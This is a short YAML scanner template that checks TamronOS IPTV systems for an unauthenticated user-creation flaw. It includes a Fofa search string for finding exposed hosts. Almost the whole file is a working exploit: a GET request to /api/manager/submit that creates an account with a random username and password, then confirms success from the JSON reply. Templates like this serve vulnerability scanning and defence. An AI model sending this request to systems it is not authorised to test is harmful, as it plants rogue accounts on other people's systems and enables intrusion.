tamronos-iptv-createuser: TamronOS Iptv 无权限创建用户

id: tamronos-iptv-createuser

info:
  name: TamronOS Iptv 无权限创建用户
  author: zan8in
  severity: high
  verified: true
  description: |-
    TamronOS Iptv 无权限创建用户
    Fofa: app="TamronOS-IPTV系统"
  tags: tamronos,createuser
  created: 2024/01/07

set:
  user: randomLowercase(6)
  pass: randomLowercase(12)
rules:
  r0:
    request:
      method: GET
      path: /api/manager/submit?group=1&username={{user}}&password={{pass}}
    expression: response.status == 200 && response.body.bcontains(b'"suc":true') && response.body.bcontains(b'"msg":"\u6210\u529f"')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.